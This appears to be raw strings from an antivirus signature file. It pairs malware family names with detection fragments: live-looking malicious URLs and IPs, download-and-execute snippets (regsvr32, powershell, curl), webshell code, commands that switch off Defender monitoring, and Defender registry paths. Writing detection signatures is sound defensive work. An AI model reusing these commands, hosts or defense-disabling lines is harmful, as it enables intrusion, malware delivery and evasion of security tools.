)X0!#SCPT:TrojanDownloader:O97M/EncDoc.IEAU!MTB!AU3 <f>goto('6vrtgarga'!f8)</f> 0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAQ!MTB!AQ4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAQ!MTB!AQ4 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAB!MTB!GB9 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAB!MTB!GB9 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAM!MTB!AM6 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAM!MTB!AM6 0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAF!MTB!IF7 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.IIAF!MTB!IF7 <f>\"regsvr32..\\kro.fis\"</f> 0!#SCPT:TrojanDownloader:O97M/EncDoc.RGEF!MTB!EF4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.RGEF!MTB!EF4 regsvr32.exe</t></si></sst> 0!#SCPT:TrojanDownloader:O97M/EncDoc.VIOK!MTB!OK4 )X0!#SCPT:TrojanDownloader:O97M/EncDoc.VIOK!MTB!OK4 <si><t>loadtofilea</t></si> 0!#SCPT:TrojanDownloader:O97M/TrickBot.HI!MTB!HI1 )X0!#SCPT:TrojanDownloader:O97M/TrickBot.HI!MTB!HI1 http://81.16.141.208/q37kkp 0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL6 )X0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL6 <si><t>jjccccj</t></si><si> 0!#SCPT:TrojanDownloader:O97M/Zloader.RYR!MTB!RY3 )X0!#SCPT:TrojanDownloader:O97M/Zloader.RYR!MTB!RY3 teagygk=sheet1!$b$61:$b$113 )X1!#ALF:TrojanDownloader:Script/CobaltStrike.VA!MSR serviceboostnumberone.com0 )X2!#SCPT:TrojanDownloader:Script/CobaltStrike.GA!MSR seventhserviceupdater.com 2!#SCRIPT:PowerShell/WinApiCreateToolhelp32Snapshot )X2!#SCRIPT:PowerShell/WinApiCreateToolhelp32Snapshot createtoolhelp32snapshot( 3!#SCPT:TrojanDownloader:PowerShell/FakePatch.A!hta1 )X3!#SCPT:TrojanDownloader:PowerShell/FakePatch.A!hta1 https://ahtaeereddit.org 3!#SCRIPT:SoftwareBundler:Win32/InstallMonetizer.A-4 )X3!#SCRIPT:SoftwareBundler:Win32/InstallMonetizer.A-4 blowfish.dllm0l3z5s0g1me 4!#SCPT:Trojan:JS/IframeRef!rogue_vector_001_screen02 )X4!#SCPT:Trojan:JS/IframeRef!rogue_vector_001_screen02 breakage.\";varaskerr=1; 4!#SCPT:TrojanDownloader:JS/Nemucod.EvalActiveXObject )X4!#SCPT:TrojanDownloader:JS/Nemucod.EvalActiveXObject =eval(\"activexobject\"); !#BLJammer.A regadd Bregadd  \\software\\policies\\microsoft\\fve /vrecoverykeymessage !#SCPT:Robideo.A <f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".txt\"</f> ><f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".txt\"</f> !#SCPT:Robideo.B <f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".vbs\"</f> ><f>\"c:\\users\\public\\\"&amp;randbetween(1,9999)&amp;\".vbs\"</f> !#SCPT:JS/Mult.Z1 /index.php'; =/index.php'; ';var f';var !#SCRIPT:HolAtt.E user_name=$get_user&os_name=$get_os&domain_name=$get_domain =user_name=$get_user&os_name=$get_os&domain_name=$get_domain !#SCRIPT:Ploty.H2 =add-type-member ==add-type-member -name\" \"-namespacewin32functions-p !#SCPT:CoreDriveAO core_buildrbraddr__n <core_buildrbraddr__n t_server__th_clienthichan_hchr/r&rr !#SCPT:Nemucod.CY4 )]<4){wscript[( <)]<4){wscript[( =wscript[ ()](( !#SCPT:PDF/Pididod action/s/uri/uri(https://piscineconstruct.ro/kjy/index.php <action/s/uri/uri(https://piscineconstruct.ro/kjy/index.php !#SCRIPT:JS/NewWASM =newwebassembly.instance(newwebassembly.module( ;=newwebassembly.instance(newwebassembly.module( !#Trojan:VBS/Vmnat3 ;savetofile(\"c:\\users\\ 0.exe\",\"2\"); !#ALF:SCPT:Vango!ini [http]documentroot= :[http]documentroot= :\\windows\\temp\\db\\rdp\\rdp\\webroot\\ !#JAM:AppdataFileExe ifilesystem :ifilesystem .fileexists(\"c:\\users\\ 0.exe\" !#SCPT:ReverseBase64 (strreverse(\" :(strreverse(\" 'abcdefghijklmnopqrstuvwxyz0123456789+/= !#SCRIPT:Naibi.A!lnk \\windows\\system32\\wscript.exe/e:vbscript.encodeiphon.mp3 :\\windows\\system32\\wscript.exe/e:vbscript.encodeiphon.mp3 !#SCRIPT:PS.DecBytes :[byte[]]$ !#SCPT:JS/Downloadify downloadify.defaultoptions={swf:\"media/downloadify.swf\" 9downloadify.defaultoptions={swf:\"media/downloadify.swf\" !#SLF:AsmblyLoadReg.B 9.run(\" `[reflection.assembly]::load((itempropertyhkcu: r.open(\"post\",\"https:\"+\"//\"+hostname+\"/ext/stat?\"+qs); 8r.open(\"post\",\"https:\"+\"//\"+hostname+\"/ext/stat?\"+qs); !#SCPT:Bondat.A5!jamsi \\programs\\startup\\start.lnk\");iwshshortcut.targetpath( 8\\programs\\startup\\start.lnk\");iwshshortcut.targetpath( !#SCPT:HafniumShell_10 dir/b/sc:\\windows\\x90 8dir/b/sc:\\windows\\x90 ^>c:\\windows\\x90 >>c:\\windows\\ 5.206.227.168/haoyun/office/next.php', 85.206.227.168/haoyun/office/next.php', url:'http://  _url:'http:// bidarpanda.com/autosau/payinpdf.php', 8bidarpanda.com/autosau/payinpdf.php',  lacaiixa.com/style/style/sendjf.php', 8lacaiixa.com/style/style/sendjf.php',  !#SCPT:AutoIt/Banload.2 7for$ 2=1tostringlen($ 5&=chr(bitxor(asc(stringmid($ !#SCPT:BAT/PWSLeben.HZ1 powershell\"iwr-uri 7powershell\"iwr-uri /firstga990.php-methodpost-body' !#SCPT:CVE-2019-1653-BD {*}weseemtohavefoundavalidencryptedconfig!writingto%s 7{*}weseemtohavefoundavalidencryptedconfig!writingto%s !#SCPT:HTMLShellcode.A2 definitialize(info={})super(update_info(info,'name'=> 7definitialize(info={})super(update_info(info,'name'=> !#SCPT:PDF/MLTriggers.1 0r>>/procset[/pdf/text/imageb/imagec/imagei]>>/annots 70r>>/procset[/pdf/text/imageb/imagec/imagei]>>/annots !#SCRIPT:BrowserArray.A foreachbrowserinbrowsers:browserdic.addlcase(browser) 7foreachbrowserinbrowsers:browserdic.addlcase(browser) !#Scpt:Cln:Ifenion3!MTB #kx7zuqibaaibaaibaaibaaibadaxma0gcwcgsaflawqcaquabca2 7#kx7zuqibaaibaaibaaibaaibadaxma0gcwcgsaflawqcaquabca2 !#Trojan:MacOS/Snake.A1 target_path}/installdp\"cp-f\"${script_dir}/installd.sh 7target_path}/installdp\"cp-f\"${script_dir}/installd.sh !#PUA:MacOS/Bundlore.Sd1 #!/usr/bin/envbashtmp_file=\"/tmp/e_$(date+%s)\"printf 6#!/usr/bin/envbashtmp_file=\"/tmp/e_$(date+%s)\"printf http://istanbulyilbasimekanlari.com/tracking-number- 6http://istanbulyilbasimekanlari.com/tracking-number- !#SCPT:Exploit:JS/Coolex try{document.body++;}catch( 6try{document.body++;}catch( if(navigator.plugins&& !#SCPT:JS/Obfuse.PY1!MTB c:\\users\\farids~1\\appdata\\local\\temp\\payments.doc.js 6c:\\users\\farids~1\\appdata\\local\\temp\\payments.doc.js !#SCPT:JS/Phish.RTJ2!MTB //window.location.replace(response['redirect_link']) 6//window.location.replace(response['redirect_link']) hdvhfhdhd.duckdns.org/pu/post.php', 6hdvhfhdhd.duckdns.org/pu/post.php',  logz.live/frnd/shally/connect.php', 6logz.live/frnd/shally/connect.php',  www.newltd.ga/wp-admin/zlords.php', 6www.newltd.ga/wp-admin/zlords.php',  formdata.append(idtercero,idtercero);formdata.append 6formdata.append(idtercero,idtercero);formdata.append !#SCPT:OwakeWriteTempMSK system.io.file.appendalltext(\"c:\\\\windows\\\\temp\\\\msk 6system.io.file.appendalltext(\"c:\\\\windows\\\\temp\\\\msk !#SCPT:PWS:HTML/Pdfphish action/s/uri/uri(http://pmevents.co.in/nd/index.php) 6action/s/uri/uri(http://pmevents.co.in/nd/index.php) !#SCPT:TechBroloCall.1.A alert(\"warning:\"+isp+\"customer(\"+ip+\")from\"+city+\"\\n 6alert(\"warning:\"+isp+\"customer(\"+ip+\")from\"+city+\"\\n !#SCRIPT:Python/Raywa.A2 #chromestealerchan 6#chromestealerchan ifline1.find(\"!chrome\")!=-1and( !#SCPT:PowNTSTATSecRegKey hkcu:\\software\\microsoft\\office\\$i.0\\excel\\security 5hkcu:\\software\\microsoft\\office\\$i.0\\excel\\security !#SCPT:Tobeet_Js_379955FB return{eep:newregexp(hrtroo,string.fromcharcode(103 5return{eep:newregexp(hrtroo,string.fromcharcode(103 !#SCPT:Tobeet_Js_B86E0D1E ();functiondl(){varhost='http://king.connectioncdn. 5();functiondl(){varhost='http://king.connectioncdn. !#SCRIPT:JS/Nemucod.QX.04 ,false); 5,false); a-z0-9.send();if( a-z0-9.status==200 !#SCRIPT:Python/Pourri.B3 parser.add_argument(\"target\",nargs=1,type=str,help= 5parser.add_argument(\"target\",nargs=1,type=str,help= <scriptsrc='https://camillesanz.com/lib/status.js'> 5<scriptsrc='https://camillesanz.com/lib/status.js'> 5<scriptsrc= http://jquerystatistics.org/update.js !#TEL:HTML/Meadgive!shell \"eb125831c966b9 5\"eb125831c966b9 49803408 85c975f7ffe0e8e9ffffff alert(\"caseid:{ 5alert(\"caseid:{ }:dear{connection-isp 0}customer !#Trojan:JS/Valak.PK4!MTB return\"/\"+config.c2_prefix+\"/\"+querystring+\".html\"; 5return\"/\"+config.c2_prefix+\"/\"+querystring+\".html\"; !#Trojan:MacOS/SpyEvil.A1 #!/bin/bashv=$(curl--silenthttp://usb.mine.nu/p.php 5#!/bin/bashv=$(curl--silenthttp://usb.mine.nu/p.php !#Trojan:MacOS/SpyEvil.B1 returnhexlify(getpass.getuser()+\"-\"+str(getnode())) 5returnhexlify(getpass.getuser()+\"-\"+str(getnode())) !#SCPT:O97M/Qakbot.VA2!MTB <si><t>https://abpandh.com/drms/fert.html</t></si> 4<si><t>https://abpandh.com/drms/fert.html</t></si> !#SCRIPT:Possible_CommonJs //startcommon.common.js//(c)2010codeplexfoundation 4//startcommon.common.js//(c)2010codeplexfoundation !#SCRIPT:WDImpairDefense.A set-mppreference 4set-mppreference 0-disablebehaviormonitoring$true 0-disablerealtimemonitoring$true !#SCRIPT:Win32/AntiVboxAu3 ifprocessexists(\"vboxtray.exe\")and$ 4ifprocessexists(\"vboxtray.exe\")and$ 0=\"1\"thenexit !#TEL:Trojan:O97M/Obfuse.K {\\rtf{\\object\\objocx\\objupdate\\objw 4{\\rtf{\\object\\objocx\\objupdate\\objw !#Trojan:BAT/Tskill.C!Pra1 tasklist 4tasklist /fi\"imagenameeq |find/ !#Trojan:BAT/Tskill.C!Pra5 .bkp\"  .bkp !#Trojan:JS/Rozena.CS6!MTB chrome.tabs.executescript({code:config.jscommand}) 4chrome.tabs.executescript({code:config.jscommand}) !#PossiblePangimopControl-g <paramname=\"javafx_version\"value=\"2.0+\"></applet> 3<paramname=\"javafx_version\"value=\"2.0+\"></applet> !#SCPT:Exploit:JS/Archost.A sendstr+=encodeuri(\"dump=\"+flashver+\"|\"+silverver 3sendstr+=encodeuri(\"dump=\"+flashver+\"|\"+silverver !#SCPT:JS/DownloadifyBase64 swf:'assets/downloadify.swf', 3swf:'assets/downloadify.swf', datatype:'base64' \\rimo1.dll..\\rimo1.dll% 3\\rimo1.dll..\\rimo1.dll% \\rimo2.dll..\\rimo2.dll% !#SCPT:O97M/IcedId.RVS3!MTB <v>http://45.138.157.216/44313,6048108796.dat</v> 3<v>http://45.138.157.216/44313,6048108796.dat</v> !#SCPT:lnk_wscript_vbscript endfunction>file.txt&&wscript//e:vbscriptfile.txt 3endfunction>file.txt&&wscript//e:vbscriptfile.txt !#SCRIPT:Worm:JS/Bondat!lnk /cstartwscript\".trashes\\ 3/cstartwscript\".trashes\\ \t.js\"& \".trashes\\ 3\\x73\\x74\\x61\\x72\\x74 =newcoinhive.user( !#Trojan:JS/Pterodo.PK3!MTB del/f/q\"%appdata%\\microsoft\\addins\\addcrypt*.vbs\" 3del/f/q\"%appdata%\\microsoft\\addins\\addcrypt*.vbs\" !#Trojan:MacOS/BirdMiner.A1 -maccel=hvf--cpuhost/library/application\\support/ 3-maccel=hvf--cpuhost/library/application\\support/ !#Trojan:PHP/Webshell.B!lf2 make.htaccessfileaccessibleoverweb<files~\"^\\.ht\"> 3make.htaccessfileaccessibleoverweb<files~\"^\\.ht\"> !#Trojan:VBS/CoinMiner_sad7 .run(\"csrs.exe--servereu1-zcash.flypool.org--port 3.run(\"csrs.exe--servereu1-zcash.flypool.org--port !#Trojan:VBS/DrpSpoof.A!al2 temppath+\"\\\"+appname+\"%number_of_processors%.exe\" 3temppath+\"\\\"+appname+\"%number_of_processors%.exe\" !#PUA:MacOS/SurfBuyer.A1!MTB service.macinstallerinfo.com/tracking/cm_mac.php 2service.macinstallerinfo.com/tracking/cm_mac.php !#SCPT:HTML/Phish.VISP33!MTB window.location.replace(\"http://www.\"+my_slice); 2window.location.replace(\"http://www.\"+my_slice); !#SCPT:LowfiTrojan:JS/Auto47 <style>x\\:*{display:inline-block;behavior:url(#d 2<style>x\\:*{display:inline-block;behavior:url(#d !#SCPT:O97M/EncDoc.VPPL2!MTB </f><v>dll32\"&amp;\"..\\lertio.cersw\"&amp;\",dll</v 2</f><v>dll32\"&amp;\"..\\lertio.cersw\"&amp;\",dll</v !#SCPT:O97M/IcedId.RVS12!MTB <v>http://185.82.218.30/44313,6048108796.dat</v> 2<v>http://185.82.218.30/44313,6048108796.dat</v> !#SCPT:Ploty.CVE-2017-0199.1 002f00640065006600610075006c0074002e006800740061 2002f00640065006600610075006c0074002e006800740061 !#SCPT:Trojan:BAT/Starter.G1 /cstartwscript/e:vbscript.encodemanuel.doc&start 2/cstartwscript/e:vbscript.encodemanuel.doc&start !#SCRIPT:PHP/Dirtelti.M3!MTB fputs( 2fputs( .system(\"whoami\"). .\"\\n\"); !#SCRIPT:PHP/Dirtelti.X4!MTB =$_request[' 2=$_request[' '];preg_replace('/.*/e',''.$a,'') !#SCRIPT:Win32/HookTV.B2!MTB c:\\windows\\temp\\hook.exe>c:\\windows\\temp\\log.txt 2c:\\windows\\temp\\hook.exe>c:\\windows\\temp\\log.txt !#Trojan:JS/Sodinokibi.SA!A6 2function ;while( !#Backdoor:PHP/Webshell.Q!vc2 showopenports(nst)netstat-an|greplisten|greptcp 1showopenports(nst)netstat-an|greplisten|greptcp !#Hacktool:JS/NatSlipSteam.A4 my$pcap=pcap_open_live($dev,1024*10,0,0,\\$err); 1my$pcap=pcap_open_live($dev,1024*10,0,0,\\$err); !#SCPT:Exploit:JS/Meadgive.AB shape\"),d2[e3].appendchild(ah[e]);for(gm=d2[o3] 1shape\"),d2[e3].appendchild(ah[e]);for(gm=d2[o3] '%temp%\\ 1'%temp%\\  .exe');start-process'%temp%\\  .bat');start-process\"%temp%\\ !#SCPT:Trojan:JS/MacApfell.AB application('google 1application('google chrome');if ['running'] !#SCPT:Trojan:VBA/Downldr.CS4 hyperlink->http://employeeportal.net-login.com/ 1hyperlink->http://employeeportal.net-login.com/ =\"%\"; 1=\"%\";  =unescape(  eval( !#SCRIPT:HTML/BankPhishLogo.A src=\"http 1src=\"http /img/logos/barclays-logo.png\" !#SCRIPT:HTML/FreyalpButton.B class=\"download_link\" 1class=\"download_link\" ><divid=\"switch\"></div> !#SCRIPT:PowerShell/WmiObject get-wmiobject-classwin32_computersystem).domain 1get-wmiobject-classwin32_computersystem).domain !#SCRIPT:Python/Phokis.A1!MTB os.system(\"adb-s\"+ 1os.system(\"adb-s\"+  +\"shellinputkeyevent\"+ !#SCRIPT:Trojan:JS/Psyme.AE.1 <html><body><divstyle=\"visibility:hidden\"><div> 1<html><body><divstyle=\"visibility:hidden\"><div> !#SCRIPT:Worm:VBS/Jenxcus.BH4 shellobj.run\"wscript.exe//b\"&chr(34)&installdir 1shellobj.run\"wscript.exe//b\"&chr(34)&installdir !#Script:Worm:VBS/Jenxcus.RV2 select*fromwin32_processwherename='wscript.exe' 1select*fromwin32_processwherename='wscript.exe' !#Trojan:BAT/ClearSteal.B!MTB %allusersprofile%\\sppextcomtel\\sppextcomtel.scr 1%allusersprofile%\\sppextcomtel\\sppextcomtel.scr !#Trojan:Win32/Inmal!lnk!ats1 coronavirus.doc.l 1coronavirus.doc.l  k>\"%tmp%\\  \"&\"%tmp%\\ !#ALF:Backdoor:PHP/WebShell.RN {eval/* 0{eval/* ]]);}exit();} !#Backdoor:Linux/Dakkatoni.Sa1 /ap/at.x86;catat.x86>ca;chmod+x*;./cabackdoors 0/ap/at.x86;catat.x86>ca;chmod+x*;./cabackdoors !#HackTool:Python/Syswhispers2 syswhispers:whycallthekernelwhenyoucanwhisper? 0syswhispers:whycallthekernelwhenyoucanwhisper? !#SCPT:Downloader:VBS/Agent.A1 zeb=\"s\"&\"t\"&\"ar\"&\"t\"objshell.shellexecutechrw( 0zeb=\"s\"&\"t\"&\"ar\"&\"t\"objshell.shellexecutechrw( !#SCPT:Trojan:HTML/Phish.SMT31 varc=my_slice.substr(0,my_slice.indexof('.')); 0varc=my_slice.substr(0,my_slice.indexof('.')); !#SCPT:Trojan:Win32/WinLNK.JK1 http://ktr.freedynamicdns.org/backups/post.php 0http://ktr.freedynamicdns.org/backups/post.php !#SCRIPT:PSWinAPIdefinitions.A add-type-memberdefinition 0add-type-memberdefinition -namespace infinite);(2047,4),HKLM\\SYSTEM\\*(1)\\SERVICES\\MsSecFlt\\*(infinite)\\\\*B(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLoggerE(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\\\*N(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\*(infinite)Q(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseAuditLogger\\*(infinite)\\\\*?(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLogB(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLog\\\\*K(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLog\\*(infinite)N(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Autologger\\SenseEventLog\\*(infinite)\\\\*U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\16C6501A-FF2D-46EA-868D-8F96CB0CB52Dd(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\MsSense.exej(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseCncProxy.exep(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseSampleUploader.exed(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseIR.exeg(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SgrmBroker.exeg(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\MsSense.exe\\\\*m(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseCncProxy.exe\\\\*s(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseSampleUploader.exe\\\\*g(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SenseIR.exe\\\\*j(2047,4),HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\IMAGE FILE EXECUTION OPTIONS\\SgrmBroker.exe\\\\*U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\14f8138e-3b61-580b-544b-2609378ae460U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\cb2ff72d-d4e4-585d-33f9-f3a395c40be7U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\541dae91-cc3c-5807-b064-c2561c16d7e8U(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\WMI\\Security\\\\C60418CC-7E07-400F-AE3B-D521C5DBD96FE(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat ProtectionH(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat Protection\\\\*Q(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat Protection\\*(infinite)T(2047,4),HKLM\\SYSTEM\\*(1)\\Control\\Windows Advanced Threat Protection\\*(infinite)\\\\*L(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}O(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)\\\\*L(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}O(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\\\*X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{5CD661A7-F770-47EA-ABEE-09E11B242576}\\*(infinite)\\\\*L(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}O(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\\\*X(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)[(2047,4),HKLM\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)\\\\*L(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}O(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\\\*X(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)[(2047,4),HKCU\\SOFTWARE\\CLASSES\\CLSID\\{91FDE64B-2787-484B-B3EC-03E25A64AAE9}\\*(infinite)\\\\*z 2db30ca2a0a5 HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History DHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History MachineDomain  2db3a2ed1e72 HKLM\\SYSTEM\\CurrentControlSet\\Services\\WebClient 1HKLM\\SYSTEM\\CurrentControlSet\\Services\\WebClient  2db348a0b323  2db3da3d481d  !#SLF:vCtxtHtml_file_ !#SLF:vCtxtBM_7Z_FILE_ !#SLF:vCtxtBM_MZ_FILE_ !#SLF:vCtxtBM_BMP_FILE_ !#SLF:vCtxtBM_CAB_FILE_ !#SLF:vCtxtBM_CRX_FILE_ !#SLF:vCtxtBM_DEX_FILE_ !#SLF:vCtxtBM_DLM_FILE_ !#SLF:vCtxtBM_FLV_FILE_ !#SLF:vCtxtBM_GIF_FILE_ !#SLF:vCtxtBM_JOB_FILE_ !#SLF:vCtxtBM_JPG_FILE_ !#SLF:vCtxtBM_LHA_FILE_ !#SLF:vCtxtBM_LNK_FILE_ !#SLF:vCtxtBM_MP3_FILE_ !#SLF:vCtxtBM_OGG_FILE_ !#SLF:vCtxtBM_OLE_FILE_ !#SLF:vCtxtBM_PDF_FILE_ !#SLF:vCtxtBM_PNF_FILE_ !#SLF:vCtxtBM_PNG_FILE_ !#SLF:vCtxtBM_RAR_FILE_ !#SLF:vCtxtBM_RTF_FILE_ !#SLF:vCtxtBM_SDB_FILE_ !#SLF:vCtxtBM_SWF_FILE_ !#SLF:vCtxtBM_VBE_FILE_ !#SLF:vCtxtBM_WMF_FILE_ !#SLF:vCtxtBM_XML_FILE_ !#SLF:vCtxtBM_ZIP_FILE_ !#SLF:vCtxtBM_FONT_FILE_ !#SLF:vCtxtBM_GZIP_FILE_ !#SLF:vCtxtBM_MZ_FILE_1_ !#SLF:vCtxtBM_MZ_FILE_2_ !#SLF:vCtxtBM_MZ_FILE_3_ !#SLF:vCtxtBM_MZ_FILE_4_ !#SLF:vCtxtBM_TEXT_FILE_ !#SLF:vCtxtBM_TIFF_FILE_ !#SLF:vTelCtxtHtml_file_ !#SLF:vCtxtBM_DEX_FILE_1_ !#SLF:vCtxtBM_DEX_FILE_2_ !#SLF:vCtxtBM_DEX_FILE_3_ !#SLF:vCtxtBM_DMG_FILE_0_ !#SLF:vCtxtBM_DMG_FILE_1_ !#SLF:vCtxtBM_DMG_FILE_2_ !#SLF:vCtxtBM_DMG_FILE_3_ !#SLF:vCtxtBM_DMG_FILE_4_ !#SLF:vCtxtBM_ELF_FILE_0_ !#SLF:vCtxtBM_ELF_FILE_1_ !#SLF:vCtxtBM_ELF_FILE_2_ !#SLF:vCtxtBM_ELF_FILE_3_ !#SLF:vCtxtBM_ELF_FILE_4_ !#SLF:vCtxtBM_JDIFF_FILE_ !#SLF:vCtxtBM_MEDIA_FILE_ !#SLF:vCtxtBM_SMALL_FILE_ !#SLF:vCtxtSCPT:HTMLFile_ !#SLF:vTelCtxtBM_7Z_FILE_ !#SLF:vCtxtBM_CURSOR_FILE_  !#SLF:vCtxtBM_CURSOR_FILE_ !#SLF:vCtxtBM_OFFICE_FILE_  !#SLF:vCtxtBM_OFFICE_FILE_ !#SLF:vTelCtxtBM_BMP_FILE_  !#SLF:vTelCtxtBM_BMP_FILE_ !#SLF:vTelCtxtBM_CAB_FILE_  !#SLF:vTelCtxtBM_CAB_FILE_ !#SLF:vTelCtxtBM_CRX_FILE_  !#SLF:vTelCtxtBM_CRX_FILE_ !#SLF:vTelCtxtBM_DEX_FILE_  !#SLF:vTelCtxtBM_DEX_FILE_ !#SLF:vTelCtxtBM_DLM_FILE_  !#SLF:vTelCtxtBM_DLM_FILE_ !#SLF:vTelCtxtBM_FLV_FILE_  !#SLF:vTelCtxtBM_FLV_FILE_ !#SLF:vTelCtxtBM_GIF_FILE_  !#SLF:vTelCtxtBM_GIF_FILE_ !#SLF:vTelCtxtBM_JOB_FILE_  !#SLF:vTelCtxtBM_JOB_FILE_ !#SLF:vTelCtxtBM_JPG_FILE_  !#SLF:vTelCtxtBM_JPG_FILE_ !#SLF:vTelCtxtBM_LHA_FILE_  !#SLF:vTelCtxtBM_LHA_FILE_ !#SLF:vTelCtxtBM_LNK_FILE_  !#SLF:vTelCtxtBM_LNK_FILE_ !#SLF:vTelCtxtBM_MP3_FILE_  !#SLF:vTelCtxtBM_MP3_FILE_ !#SLF:vTelCtxtBM_OGG_FILE_  !#SLF:vTelCtxtBM_OGG_FILE_ !#SLF:vTelCtxtBM_OLE_FILE_  !#SLF:vTelCtxtBM_OLE_FILE_ !#SLF:vTelCtxtBM_PDF_FILE_  !#SLF:vTelCtxtBM_PDF_FILE_ !#SLF:vTelCtxtBM_PNF_FILE_  !#SLF:vTelCtxtBM_PNF_FILE_ !#SLF:vTelCtxtBM_PNG_FILE_  !#SLF:vTelCtxtBM_PNG_FILE_ !#SLF:vTelCtxtBM_RAR_FILE_  !#SLF:vTelCtxtBM_RAR_FILE_ !#SLF:vTelCtxtBM_RTF_FILE_  !#SLF:vTelCtxtBM_RTF_FILE_ !#SLF:vTelCtxtBM_SDB_FILE_  !#SLF:vTelCtxtBM_SDB_FILE_ !#SLF:vTelCtxtBM_SWF_FILE_  !#SLF:vTelCtxtBM_SWF_FILE_ !#SLF:vTelCtxtBM_VBE_FILE_  !#SLF:vTelCtxtBM_VBE_FILE_ !#SLF:vTelCtxtBM_WMF_FILE_  !#SLF:vTelCtxtBM_WMF_FILE_ !#SLF:vTelCtxtBM_XML_FILE_  !#SLF:vTelCtxtBM_XML_FILE_ !#SLF:vTelCtxtBM_ZIP_FILE_  !#SLF:vTelCtxtBM_ZIP_FILE_ !#SLF:vCtxtBM_AUTOCAD_FILE_ !!#SLF:vCtxtBM_AUTOCAD_FILE_ !#SLF:vCtxtBM_SQLlite_FILE_ !!#SLF:vCtxtBM_SQLlite_FILE_ 